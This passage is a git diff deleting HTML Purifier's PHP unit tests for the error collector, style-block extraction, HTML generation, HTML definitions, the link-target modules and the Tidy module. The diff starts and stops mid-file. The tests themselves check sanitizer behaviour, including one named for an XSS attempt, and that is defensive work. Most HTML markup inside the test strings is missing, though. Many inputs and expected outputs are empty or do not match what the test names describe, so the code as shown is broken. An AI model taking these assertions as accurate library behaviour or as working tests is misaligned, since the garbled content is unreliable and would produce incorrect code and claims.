- $mock = $this->mock; - - foreach ($this->_expected_context as $key => $value) { - $test->assertEqual($value, $this->_context->get($key)); - } - $step = $mock->getCallCount('send'); - if (isset($this->_expected_context_at[$step])) { - foreach ($this->_expected_context_at[$step] as $key => $value) { - $test->assertEqual($value, $this->_context->get($key)); - } - } - // boilerplate mock code, does not have return value or references - $args = func_get_args(); - $mock->invoke('send', $args); - } - -} - -// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ErrorCollectorTest.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ErrorCollectorTest.php deleted file mode 100644 index ed525064a3..0000000000 --- a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ErrorCollectorTest.php +++ /dev/null @@ -1,161 +0,0 @@ -language = new HTMLPurifier_LanguageMock(); - $this->language->returns('getErrorName', 'Error', array(E_ERROR)); - $this->language->returns('getErrorName', 'Warning', array(E_WARNING)); - $this->language->returns('getErrorName', 'Notice', array(E_NOTICE)); - // this might prove to be troublesome if we need to set config - $this->generator = new HTMLPurifier_Generator($this->config, $this->context); - $this->line = false; - $this->context->register('Locale', $this->language); - $this->context->register('CurrentLine', $this->line); - $this->context->register('Generator', $this->generator); - $this->collector = new HTMLPurifier_ErrorCollector($this->context); - } - - public function test() - { - $language = $this->language; - $language->returns('getMessage', 'Message 1', array('message-1')); - $language->returns('formatMessage', 'Message 2', array('message-2', array(1 => 'param'))); - $language->returns('formatMessage', ' at line 23', array('ErrorCollector: At line', array('line' => 23))); - $language->returns('formatMessage', ' at line 3', array('ErrorCollector: At line', array('line' => 3))); - - $this->line = 23; - $this->collector->send(E_ERROR, 'message-1'); - - $this->line = 3; - $this->collector->send(E_WARNING, 'message-2', 'param'); - - $result = array( - 0 => array(23, E_ERROR, 'Message 1', array()), - 1 => array(3, E_WARNING, 'Message 2', array()) - ); - - $this->assertIdentical($this->collector->getRaw(), $result); - - /* - $formatted_result = - '
                        • Warning: Message 2 at line 3
                        • '. - '
                        • Error: Message 1 at line 23
                        '; - - $this->assertIdentical($this->collector->getHTMLFormatted($this->config), $formatted_result); - */ - - } - - public function testNoErrors() - { - $this->language->returns('getMessage', 'No errors', array('ErrorCollector: No errors')); - - $formatted_result = '

                        No errors

                        '; - $this->assertIdentical( - $this->collector->getHTMLFormatted($this->config), - $formatted_result - ); - } - - public function testNoLineNumbers() - { - $this->language->returns('getMessage', 'Message 1', array('message-1')); - $this->language->returns('getMessage', 'Message 2', array('message-2')); - - $this->collector->send(E_ERROR, 'message-1'); - $this->collector->send(E_ERROR, 'message-2'); - - $result = array( - 0 => array(false, E_ERROR, 'Message 1', array()), - 1 => array(false, E_ERROR, 'Message 2', array()) - ); - $this->assertIdentical($this->collector->getRaw(), $result); - - /* - $formatted_result = - '
                        • Error: Message 1
                        • '. - '
                        • Error: Message 2
                        '; - $this->assertIdentical($this->collector->getHTMLFormatted($this->config), $formatted_result); - */ - } - - public function testContextSubstitutions() - { - $current_token = false; - $this->context->register('CurrentToken', $current_token); - - // 0 - $current_token = new HTMLPurifier_Token_Start('a', array('href' => 'http://example.com'), 32); - $this->language->returns('formatMessage', 'Token message', - array('message-data-token', array('CurrentToken' => $current_token))); - $this->collector->send(E_NOTICE, 'message-data-token'); - - $current_attr = 'href'; - $this->language->returns('formatMessage', '$CurrentAttr.Name => $CurrentAttr.Value', - array('message-attr', array('CurrentToken' => $current_token))); - - // 1 - $this->collector->send(E_NOTICE, 'message-attr'); // test when context isn't available - - // 2 - $this->context->register('CurrentAttr', $current_attr); - $this->collector->send(E_NOTICE, 'message-attr'); - - $result = array( - 0 => array(32, E_NOTICE, 'Token message', array()), - 1 => array(32, E_NOTICE, '$CurrentAttr.Name => $CurrentAttr.Value', array()), - 2 => array(32, E_NOTICE, 'href => http://example.com', array()) - ); - $this->assertIdentical($this->collector->getRaw(), $result); - - } - - /* - public function testNestedErrors() - { - $this->language->returns('getMessage', 'Message 1', array('message-1')); - $this->language->returns('getMessage', 'Message 2', array('message-2')); - $this->language->returns('formatMessage', 'End Message', array('end-message', array(1 => 'param'))); - $this->language->returns('formatMessage', ' at line 4', array('ErrorCollector: At line', array('line' => 4))); - - $this->line = 4; - $this->collector->start(); - $this->collector->send(E_WARNING, 'message-1'); - $this->collector->send(E_NOTICE, 'message-2'); - $this->collector->end(E_NOTICE, 'end-message', 'param'); - - $expect = array( - 0 => array(4, E_NOTICE, 'End Message', array( - 0 => array(4, E_WARNING, 'Message 1', array()), - 1 => array(4, E_NOTICE, 'Message 2', array()), - )), - ); - $result = $this->collector->getRaw(); - $this->assertIdentical($result, $expect); - - $formatted_expect = - '
                        • Notice: End Message at line 4
                            '. - '
                          • Warning: Message 1 at line 4
                          • '. - '
                          • Notice: Message 2 at line 4
                          '. - '
                        '; - $formatted_result = $this->collector->getHTMLFormatted($this->config); - $this->assertIdentical($formatted_result, $formatted_expect); - - } - */ - -} - -// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ErrorsHarness.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ErrorsHarness.php deleted file mode 100644 index 1a1abfe0d2..0000000000 --- a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ErrorsHarness.php +++ /dev/null @@ -1,42 +0,0 @@ -config = HTMLPurifier_Config::create(array('Core.CollectErrors' => true)); - $this->context = new HTMLPurifier_Context(); - generate_mock_once('HTMLPurifier_ErrorCollector'); - $this->collector = new HTMLPurifier_ErrorCollectorEMock(); - $this->collector->prepare($this->context); - $this->context->register('ErrorCollector', $this->collector); - $this->callCount = 0; - } - - protected function expectNoErrorCollection() - { - $this->collector->expectNever('send'); - } - - protected function expectErrorCollection() - { - $args = func_get_args(); - $this->collector->expectOnce('send', $args); - } - - protected function expectContext($key, $value) - { - $this->collector->expectContext($key, $value); - } - -} - -// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/Filter/ExtractStyleBlocksTest.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/Filter/ExtractStyleBlocksTest.php deleted file mode 100644 index 1799da5bd8..0000000000 --- a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/Filter/ExtractStyleBlocksTest.php +++ /dev/null @@ -1,267 +0,0 @@ -config->set('Filter.ExtractStyleBlocks', true); - $purifier = new HTMLPurifier($this->config); - $result = $purifier->purify('Test'); - $this->assertIdentical($result, 'Test'); - $this->assertIdentical($purifier->context->get('StyleBlocks'), - array( - ".foo {\ntext-align:center\n}", - "* {\nfont-size:12pt\n}" - ) - ); - } - - public function assertExtractStyleBlocks($html, $expect = true, $styles = array()) - { - $filter = new HTMLPurifier_Filter_ExtractStyleBlocks(); // disable cleaning - if ($expect === true) $expect = $html; - $this->config->set('Filter.ExtractStyleBlocks.TidyImpl', false); - $result = $filter->preFilter($html, $this->config, $this->context); - $this->assertIdentical($result, $expect); - $this->assertIdentical($this->context->get('StyleBlocks'), $styles); - } - - public function test_extractStyleBlocks_preserve() - { - $this->assertExtractStyleBlocks('Foobar'); - } - - public function test_extractStyleBlocks_allStyle() - { - $this->assertExtractStyleBlocks('', '', array('foo')); - } - - public function test_extractStyleBlocks_multipleBlocks() - { - $this->assertExtractStyleBlocks( - "NOP", - "NOP", - array('1', '2', '4') - ); - } - - public function test_extractStyleBlocks_blockWithAttributes() - { - $this->assertExtractStyleBlocks( - '', - '', - array('css') - ); - } - - public function test_extractStyleBlocks_styleWithPadding() - { - $this->assertExtractStyleBlocks( - "AlasAwesome\n Trendy!", - "AlasAwesome\n Trendy!", - array('foo') - ); - } - - public function assertCleanCSS($input, $expect = true) - { - $filter = new HTMLPurifier_Filter_ExtractStyleBlocks(); - if ($expect === true) $expect = $input; - $this->normalize($input); - $this->normalize($expect); - $result = $filter->cleanCSS($input, $this->config, $this->context); - $this->assertIdentical($result, $expect); - } - - public function test_cleanCSS_malformed() - { - $this->assertCleanCSS('', ''); - } - - public function test_cleanCSS_selector() - { - $this->assertCleanCSS("a .foo #id div.cl#foo {\nfont-weight:700\n}"); - } - - public function test_cleanCSS_angledBrackets() - { - // [Content] No longer can smuggle in angled brackets using - // font-family; when we add support for 'content', reinstate - // this test. - //$this->assertCleanCSS( - // ".class {\nfont-family:'';\n}", - // ".class {\nfont-family:\"\\3C /style\\3E \";\n}" - //); - } - - public function test_cleanCSS_angledBrackets2() - { - // CSSTidy's behavior in this case is wrong, and should be fixed - //$this->assertCleanCSS( - // "span[title=\"\"] {\nfont-size:12pt;\n}", - // "span[title=\"\\3C /style\\3E \"] {\nfont-size:12pt;\n}" - //); - } - - public function test_cleanCSS_bogus() - { - $this->assertCleanCSS("div {bogus:tree}", "div {\n}"); - } - - /* [CONTENT] - public function test_cleanCSS_escapeCodes() - { - $this->assertCleanCSS( - ".class {\nfont-family:\"\\3C /style\\3E \";\n}" - ); - } - - public function test_cleanCSS_noEscapeCodes() - { - $this->config->set('Filter.ExtractStyleBlocks.Escaping', false); - $this->assertCleanCSS( - ".class {\nfont-family:\"\";\n}" - ); - } - */ - - public function test_cleanCSS_scope() - { - $this->config->set('Filter.ExtractStyleBlocks.Scope', '#foo'); - $this->assertCleanCSS( - "p {\ntext-indent:1em\n}", - "#foo p {\ntext-indent:1em\n}" - ); - } - - public function test_cleanCSS_scopeWithSelectorCommas() - { - $this->config->set('Filter.ExtractStyleBlocks.Scope', '#foo'); - $this->assertCleanCSS( - "b, i {\ntext-decoration:underline\n}", - "#foo b, #foo i {\ntext-decoration:underline\n}" - ); - } - - public function test_cleanCSS_scopeWithNaughtySelector() - { - $this->config->set('Filter.ExtractStyleBlocks.Scope', '#foo'); - $this->assertCleanCSS(" + p {\ntext-indent:1em\n}", "#foo p {\ntext-indent:1em\n}"); - } - - public function test_cleanCSS_scopeWithMultipleNaughtySelectors() - { - $this->config->set('Filter.ExtractStyleBlocks.Scope', '#foo'); - $this->assertCleanCSS(" ++ ++ p {\ntext-indent:1em\n}", "#foo p {\ntext-indent:1em\n}"); - } - - public function test_cleanCSS_scopeWithCommas() - { - $this->config->set('Filter.ExtractStyleBlocks.Scope', '#foo, .bar'); - $this->assertCleanCSS( - "p {\ntext-indent:1em\n}", - "#foo p, .bar p {\ntext-indent:1em\n}" - ); - } - - public function test_cleanCSS_scopeAllWithCommas() - { - $this->config->set('Filter.ExtractStyleBlocks.Scope', '#foo, .bar'); - $this->assertCleanCSS( - "p, div {\ntext-indent:1em\n}", - "#foo p, .bar p, #foo div, .bar div {\ntext-indent:1em\n}" - ); - } - - public function test_cleanCSS_scopeWithConflicts() - { - $this->config->set('Filter.ExtractStyleBlocks.Scope', 'p'); - $this->assertCleanCSS( -"div { -text-align:right -} - -p div { -text-align:left -}", - -"p div { -text-align:right -} - -p p div { -text-align:left -}" - ); - } - - public function test_removeComments() - { - $this->assertCleanCSS( -"", -"div { -text-align:right -}" - ); - } - - public function test_atSelector() - { - $this->assertCleanCSS( -"{ - b { text-align: center } -}", -"" - ); - } - - public function test_selectorValidation() - { - $this->assertCleanCSS( -"&, & { -text-align: center -}", -"" - ); - $this->assertCleanCSS( -"&, b { -text-align:center -}", -"b { -text-align:center -}" - ); - $this->assertCleanCSS( -"& a #foo:hover.bar +b > i { -text-align:center -}", -"a #foo:hover.bar + b \\3E i { -text-align:center -}" - ); - $this->assertCleanCSS("doesnt-exist { text-align:center }", ""); - } - - public function test_cleanCSS_caseSensitive() - { - $this->assertCleanCSS("a .foo #ID div.cl#foo {\nbackground:url(\"http://foo/BAR\")\n}"); - } - - public function test_extractStyleBlocks_backtracking() - { - $goo = str_repeat("a", 1000000); // 1M to trigger, sometimes it's less! - $this->assertExtractStyleBlocks("" . $goo, $goo, array('')); - } - -} - -// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/GeneratorTest.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/GeneratorTest.php deleted file mode 100644 index 45b49b4f20..0000000000 --- a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/GeneratorTest.php +++ /dev/null @@ -1,319 +0,0 @@ -_entity_lookup = HTMLPurifier_EntityLookup::instance(); - } - - public function setUp() - { - parent::setUp(); - $this->config->set('Output.Newline', "\n"); - } - - /** - * Creates a generator based on config and context member variables. - */ - protected function createGenerator() - { - return new HTMLPurifier_Generator($this->config, $this->context); - } - - protected function assertGenerateFromToken($token, $html) - { - $generator = $this->createGenerator(); - $result = $generator->generateFromToken($token); - $this->assertIdentical($result, $html); - } - - public function test_generateFromToken_text() - { - $this->assertGenerateFromToken( - new HTMLPurifier_Token_Text('Foobar.<>'), - 'Foobar.<>' - ); - } - - public function test_generateFromToken_startWithAttr() - { - $this->assertGenerateFromToken( - new HTMLPurifier_Token_Start('a', - array('href' => 'dyn?a=foo&b=bar') - ), - '' - ); - } - - public function test_generateFromToken_end() - { - $this->assertGenerateFromToken( - new HTMLPurifier_Token_End('b'), - '' - ); - } - - public function test_generateFromToken_emptyWithAttr() - { - $this->assertGenerateFromToken( - new HTMLPurifier_Token_Empty('br', - array('style' => 'font-family:"Courier New";') - ), - '
                        ' - ); - } - - public function test_generateFromToken_startNoAttr() - { - $this->assertGenerateFromToken( - new HTMLPurifier_Token_Start('asdf'), - '' - ); - } - - public function test_generateFromToken_emptyNoAttr() - { - $this->assertGenerateFromToken( - new HTMLPurifier_Token_Empty('br'), - '
                        ' - ); - } - - public function test_generateFromToken_error() - { - $this->expectError('Cannot generate HTML from non-HTMLPurifier_Token object'); - $this->assertGenerateFromToken( null, '' ); - } - - public function test_generateFromToken_unicode() - { - $theta_char = $this->_entity_lookup->table['theta']; - $this->assertGenerateFromToken( - new HTMLPurifier_Token_Text($theta_char), - $theta_char - ); - } - - public function test_generateFromToken_backtick() - { - $this->assertGenerateFromToken( - new HTMLPurifier_Token_Start('img', array('alt' => '`foo')), - '`foo ' - ); - } - - public function test_generateFromToken_backtickDisabled() - { - $this->config->set('Output.FixInnerHTML', false); - $this->assertGenerateFromToken( - new HTMLPurifier_Token_Start('img', array('alt' => '`')), - '`' - ); - } - - public function test_generateFromToken_backtickNoChange() - { - $this->assertGenerateFromToken( - new HTMLPurifier_Token_Start('img', array('alt' => '`foo` bar')), - '`foo` bar' - ); - } - - public function assertGenerateAttributes($attr, $expect, $element = false) - { - $generator = $this->createGenerator(); - $result = $generator->generateAttributes($attr, $element); - $this->assertIdentical($result, $expect); - } - - public function test_generateAttributes_blank() - { - $this->assertGenerateAttributes(array(), ''); - } - - public function test_generateAttributes_basic() - { - $this->assertGenerateAttributes( - array('href' => 'dyn?a=foo&b=bar'), - 'href="dyn?a=foo&b=bar"' - ); - } - - public function test_generateAttributes_doubleQuote() - { - $this->assertGenerateAttributes( - array('style' => 'font-family:"Courier New";'), - 'style="font-family:"Courier New";"' - ); - } - - public function test_generateAttributes_singleQuote() - { - $this->assertGenerateAttributes( - array('style' => 'font-family:\'Courier New\';'), - 'style="font-family:\'Courier New\';"' - ); - } - - public function test_generateAttributes_multiple() - { - $this->assertGenerateAttributes( - array('src' => 'picture.jpg', 'alt' => 'Short & interesting'), - 'src="picture.jpg" alt="Short & interesting"' - ); - } - - public function test_generateAttributes_specialChar() - { - $theta_char = $this->_entity_lookup->table['theta']; - $this->assertGenerateAttributes( - array('title' => 'Theta is ' . $theta_char), - 'title="Theta is ' . $theta_char . '"' - ); - } - - - public function test_generateAttributes_minimized() - { - $this->config->set('HTML.Doctype', 'HTML 4.01 Transitional'); - $this->assertGenerateAttributes( - array('compact' => 'compact'), 'compact', 'menu' - ); - } - - public function test_generateFromTokens() - { - $this->assertGeneration( - array( - new HTMLPurifier_Token_Start('b'), - new HTMLPurifier_Token_Text('Foobar!'), - new HTMLPurifier_Token_End('b') - ), - 'Foobar!' - ); - - } - - protected function assertGeneration($tokens, $expect) - { - $generator = new HTMLPurifier_Generator($this->config, $this->context); - $result = $generator->generateFromTokens($tokens); - $this->assertIdentical($expect, $result); - } - - public function test_generateFromTokens_Scripting() - { - $this->assertGeneration( - array( - new HTMLPurifier_Token_Start('script'), - new HTMLPurifier_Token_Text('alert(3 < 5);'), - new HTMLPurifier_Token_End('script') - ), - "" - ); - } - - public function test_generateFromTokens_Scripting_missingCloseTag() - { - $this->assertGeneration( - array( - new HTMLPurifier_Token_Start('script'), - new HTMLPurifier_Token_Text('alert(3 < 5);'), - ), - "" - ); - } - - public function test_generateFromTokens_Scripting_disableWrapper() - { - $this->config->set('Output.CommentScriptContents', false); - $this->assertGeneration( - array( - new HTMLPurifier_Token_Start('script'), - new HTMLPurifier_Token_Text('alert(3 < 5);'), - new HTMLPurifier_Token_End('script') - ), - "" - ); - } - - public function test_generateFromTokens_XHTMLoff() - { - $this->config->set('HTML.XHTML', false); - - // omit trailing slash - $this->assertGeneration( - array( new HTMLPurifier_Token_Empty('br') ), - '
                        ' - ); - - // there should be a test for attribute minimization, but it is - // impossible for something like that to happen due to our current - // definitions! fix it later - - // namespaced attributes must be dropped - $this->assertGeneration( - array( new HTMLPurifier_Token_Start('p', array('xml:lang'=>'fr')) ), - '

                        ' - ); - - } - - public function test_generateFromTokens_TidyFormat() - { - // abort test if tidy isn't loaded - if (!extension_loaded('tidy')) return; - - // just don't test; Tidy is exploding on me. - return; - - $this->config->set('Core.TidyFormat', true); - $this->config->set('Output.Newline', "\n"); - - // nice wrapping please - $this->assertGeneration( - array( - new HTMLPurifier_Token_Start('div'), - new HTMLPurifier_Token_Text('Text'), - new HTMLPurifier_Token_End('div') - ), - "

                        \n Text\n
                        \n" - ); - - } - - public function test_generateFromTokens_sortAttr() - { - $this->config->set('Output.SortAttr', true); - - $this->assertGeneration( - array( new HTMLPurifier_Token_Start('p', array('b'=>'c', 'a'=>'d')) ), - '

                        ' - ); - - } - -} - -// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLDefinitionTest.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLDefinitionTest.php deleted file mode 100644 index 4949f6bda9..0000000000 --- a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLDefinitionTest.php +++ /dev/null @@ -1,404 +0,0 @@ -config->set('Cache.DefinitionImpl', null); - parent::expectError($error); - } - - public function test_parseTinyMCEAllowedList() - { - $def = new HTMLPurifier_HTMLDefinition(); - - // note: this is case-sensitive, but its config schema - // counterpart is not. This is generally a good thing for users, - // but it's a slight internal inconsistency - - $this->assertEqual( - $def->parseTinyMCEAllowedList(''), - array(array(), array()) - ); - - $this->assertEqual( - $def->parseTinyMCEAllowedList('a,b,c'), - array(array('a' => true, 'b' => true, 'c' => true), array()) - ); - - $this->assertEqual( - $def->parseTinyMCEAllowedList('a[x|y|z]'), - array(array('a' => true), array('a.x' => true, 'a.y' => true, 'a.z' => true)) - ); - - $this->assertEqual( - $def->parseTinyMCEAllowedList('*[id]'), - array(array(), array('*.id' => true)) - ); - - $this->assertEqual( - $def->parseTinyMCEAllowedList('a[*]'), - array(array('a' => true), array('a.*' => true)) - ); - - $this->assertEqual( - $def->parseTinyMCEAllowedList('span[style],strong,a[href|title]'), - array(array('span' => true, 'strong' => true, 'a' => true), - array('span.style' => true, 'a.href' => true, 'a.title' => true)) - ); - - $this->assertEqual( - // alternate form: - $def->parseTinyMCEAllowedList( -'span[style] -strong -a[href|title] -'), - $val = array(array('span' => true, 'strong' => true, 'a' => true), - array('span.style' => true, 'a.href' => true, 'a.title' => true)) - ); - - $this->assertEqual( - $def->parseTinyMCEAllowedList(' span [ style ], strong'."\n\t".'a[href | title]'), - $val - ); - - } - - public function test_Allowed() - { - $config1 = HTMLPurifier_Config::create(array( - 'HTML.AllowedElements' => array('b', 'i', 'p', 'a'), - 'HTML.AllowedAttributes' => array('a@href', '*@id') - )); - - $config2 = HTMLPurifier_Config::create(array( - 'HTML.Allowed' => 'b,i,p,a[href],*[id]' - )); - - $this->assertEqual($config1->getHTMLDefinition(), $config2->getHTMLDefinition()); - - } - - public function assertPurification_AllowedElements_p() - { - $this->assertPurification('

                        Jelly

                        ', '

                        Jelly

                        '); - } - - public function test_AllowedElements() - { - $this->config->set('HTML.AllowedElements', 'p'); - $this->assertPurification_AllowedElements_p(); - } - - public function test_AllowedElements_multiple() - { - $this->config->set('HTML.AllowedElements', 'p,div'); - $this->assertPurification('

                        Jelly

                        ', '

                        Jelly

                        '); - } - - public function test_AllowedElements_invalidElement() - { - $this->config->set('HTML.AllowedElements', 'obviously_invalid,p'); - $this->expectError(new PatternExpectation("/Element 'obviously_invalid' is not supported/")); - $this->assertPurification_AllowedElements_p(); - } - - public function test_AllowedElements_invalidElement_xssAttempt() - { - $this->config->set('HTML.AllowedElements', '', - '' - ); - } - - public function testGood() - { - $this->assertResult( - '' - ); - } - - public function testGoodWithAutoclosedTag() - { - $this->assertResult( - '' - ); - } - - public function testBad() - { - $this->assertResult( - '', '' - ); - } - - public function testPreserve() - { - $this->assertResult( - '' - ); - } - - public function testCDATAEnclosure() - { - $this->assertResult( -'' - ); - } - - public function testAllAttributes() - { - $this->assertResult( - '' - ); - } - - public function testUnsupportedAttributes() - { - $this->assertResult( - '', - '' - ); - } - -} - -// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLModule/TargetBlankTest.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLModule/TargetBlankTest.php deleted file mode 100644 index bd82dd18b3..0000000000 --- a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLModule/TargetBlankTest.php +++ /dev/null @@ -1,29 +0,0 @@ -config->set('HTML.TargetBlank', true); - } - - public function testTargetBlank() - { - $this->assertResult( - '
                        ab
                        c', - 'abc' - ); - } - - public function testTargetBlankNoDupe() { - $this->assertResult( - 'a', - 'a' - ); - } - -} - -// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLModule/TargetNoopenerTest.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLModule/TargetNoopenerTest.php deleted file mode 100644 index 1543320b2c..0000000000 --- a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLModule/TargetNoopenerTest.php +++ /dev/null @@ -1,51 +0,0 @@ -config->set('HTML.TargetNoreferrer', false); - $this->config->set('HTML.TargetNoopener', true); - $this->config->set('Attr.AllowedFrameTargets', '_blank'); - } - - public function testNoreferrer() - { - $this->assertResult( - 'x', - 'x' - ); - } - - public function testNoreferrerNoDupe() - { - $this->config->set('Attr.AllowedRel', 'noopener'); - $this->assertResult( - 'x', - 'x' - ); - } - - public function testTargetBlankNoreferrer() - { - $this->config->set('HTML.TargetBlank', true); - $this->assertResult( - 'x', - 'x' - ); - } - - public function testNoTarget() - { - $this->assertResult( - 'x', - 'x' - ); - } - - -} - -// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLModule/TargetNoreferrerTest.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLModule/TargetNoreferrerTest.php deleted file mode 100644 index 1a49a79aa0..0000000000 --- a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLModule/TargetNoreferrerTest.php +++ /dev/null @@ -1,51 +0,0 @@ -config->set('HTML.TargetNoreferrer', true); - $this->config->set('HTML.TargetNoopener', false); - $this->config->set('Attr.AllowedFrameTargets', '_blank'); - } - - public function testNoreferrer() - { - $this->assertResult( - 'x', - 'x' - ); - } - - public function testNoreferrerNoDupe() - { - $this->config->set('Attr.AllowedRel', 'noreferrer'); - $this->assertResult( - 'x', - 'x' - ); - } - - public function testTargetBlankNoreferrer() - { - $this->config->set('HTML.TargetBlank', true); - $this->assertResult( - 'x', - 'x' - ); - } - - public function testNoTarget() - { - $this->assertResult( - 'x', - 'x' - ); - } - - -} - -// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLModule/TidyTest.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLModule/TidyTest.php deleted file mode 100644 index 9388ef1f6d..0000000000 --- a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLModule/TidyTest.php +++ /dev/null @@ -1,224 +0,0 @@ -fixesForLevel['light'][] = 'light-fix'; - $module->fixesForLevel['medium'][] = 'medium-fix'; - $module->fixesForLevel['heavy'][] = 'heavy-fix'; - - $this->assertIdentical( - array(), - $module->getFixesForLevel('none') - ); - $this->assertIdentical( - array('light-fix' => true), - $module->getFixesForLevel('light') - ); - $this->assertIdentical( - array('light-fix' => true, 'medium-fix' => true), - $module->getFixesForLevel('medium') - ); - $this->assertIdentical( - array('light-fix' => true, 'medium-fix' => true, 'heavy-fix' => true), - $module->getFixesForLevel('heavy') - ); - - $this->expectError('Tidy level turbo not recognized'); - $module->getFixesForLevel('turbo'); - - } - - public function test_setup() - { - $i = 0; // counter, helps us isolate expectations - - // initialize partial mock - $module = new HTMLPurifier_HTMLModule_Tidy_TestForConstruct(); - $module->fixesForLevel['light'] = array('light-fix-1', 'light-fix-2'); - $module->fixesForLevel['medium'] = array('medium-fix-1', 'medium-fix-2'); - $module->fixesForLevel['heavy'] = array('heavy-fix-1', 'heavy-fix-2'); - - $j = 0; - $fixes = array( - 'light-fix-1' => $lf1 = $j++, - 'light-fix-2' => $lf2 = $j++, - 'medium-fix-1' => $mf1 = $j++, - 'medium-fix-2' => $mf2 = $j++, - 'heavy-fix-1' => $hf1 = $j++, - 'heavy-fix-2' => $hf2 = $j++ - ); - $module->returns('makeFixes', $fixes); - - $config = HTMLPurifier_Config::create(array( - 'HTML.TidyLevel' => 'none' - )); - $module->expectAt($i++, 'populate', array(array())); - $module->setup($config); - - // basic levels - - $config = HTMLPurifier_Config::create(array( - 'HTML.TidyLevel' => 'light' - )); - $module->expectAt($i++, 'populate', array(array( - 'light-fix-1' => $lf1, - 'light-fix-2' => $lf2 - ))); - $module->setup($config); - - $config = HTMLPurifier_Config::create(array( - 'HTML.TidyLevel' => 'heavy' - )); - $module->expectAt($i++, 'populate', array(array( - 'light-fix-1' => $lf1, - 'light-fix-2' => $lf2, - 'medium-fix-1' => $mf1, - 'medium-fix-2' => $mf2, - 'heavy-fix-1' => $hf1, - 'heavy-fix-2' => $hf2 - ))); - $module->setup($config); - - // fine grained tuning - - $config = HTMLPurifier_Config::create(array( - 'HTML.TidyLevel' => 'none', - 'HTML.TidyAdd' => array('light-fix-1', 'medium-fix-1') - )); - $module->expectAt($i++, 'populate', array(array( - 'light-fix-1' => $lf1, - 'medium-fix-1' => $mf1 - ))); - $module->setup($config); - - $config = HTMLPurifier_Config::create(array( - 'HTML.TidyLevel' => 'medium', - 'HTML.TidyRemove' => array('light-fix-1', 'medium-fix-1') - )); - $module->expectAt($i++, 'populate', array(array( - 'light-fix-2' => $lf2, - 'medium-fix-2' => $mf2 - ))); - $module->setup($config); - - } - - public function test_makeFixesForLevel() - { - $module = new HTMLPurifier_HTMLModule_Tidy(); - $module->defaultLevel = 'heavy'; - - $module->makeFixesForLevel(array( - 'fix-1' => 0, - 'fix-2' => 1, - 'fix-3' => 2 - )); - - $this->assertIdentical($module->fixesForLevel['heavy'], array('fix-1', 'fix-2', 'fix-3')); - $this->assertIdentical($module->fixesForLevel['medium'], array()); - $this->assertIdentical($module->fixesForLevel['light'], array()); - - } - public function test_makeFixesForLevel_undefinedLevel() - { - $module = new HTMLPurifier_HTMLModule_Tidy(); - $module->defaultLevel = 'bananas'; - - $this->expectError('Default level bananas does not exist'); - - $module->makeFixesForLevel(array( - 'fix-1' => 0 - )); - - } - - public function test_getFixType() - { - // syntax needs documenting - - $module = new HTMLPurifier_HTMLModule_Tidy(); - - $this->assertIdentical( - $module->getFixType('a'), - array('tag_transform', array('element' => 'a')) - ); - - $this->assertIdentical( - $module->getFixType('a@href'), - $reuse = array('attr_transform_pre', array('element' => 'a', 'attr' => 'href')) - ); - - $this->assertIdentical( - $module->getFixType('a@href#pre'), - $reuse - ); - - $this->assertIdentical( - $module->getFixType('a@href#post'), - array('attr_transform_post', array('element' => 'a', 'attr' => 'href')) - ); - - $this->assertIdentical( - $module->getFixType('xml:foo@xml:bar'), - array('attr_transform_pre', array('element' => 'xml:foo', 'attr' => 'xml:bar')) - ); - - $this->assertIdentical( - $module->getFixType('blockquote#child'), - array('child', array('element' => 'blockquote')) - ); - - $this->assertIdentical( - $module->getFixType('@lang'), - array('attr_transform_pre', array('attr' => 'lang')) - ); - - $this->assertIdentical( - $module->getFixType('@lang#post'), - array('attr_transform_post', array('attr' => 'lang')) - ); - - } - - public function test_populate() - { - $i = 0; - - $module = new HTMLPurifier_HTMLModule_Tidy(); - $module->populate(array( - 'element' => $element = $i++, - 'element@attr' => $attr = $i++, - 'element@attr#post' => $attr_post = $i++, - 'element#child' => $child = $i++, - 'element#content_model_type' => $content_model_type = $i++, - '@attr' => $global_attr = $i++, - '@attr#post' => $global_attr_post = $i++ - )); - - $module2 = new HTMLPurifier_HTMLModule_Tidy(); - $e = $module2->addBlankElement('element'); - $e->attr_transform_pre['attr'] = $attr; - $e->attr_transform_post['attr'] = $attr_post; - $e->child = $child; - $e->content_model_type = $content_model_type; - $module2->info_tag_transform['element'] = $element; - $module2->info_attr_transform_pre['attr'] = $global_attr; - $module2->info_attr_transform_post['attr'] = $global_attr_post; - - $this->assertEqual($module, $module2); - - } - -} - -// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLModuleHarness.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLModuleHarness.php deleted file mode 100644 index 8deaf45ada..0000000000 --- 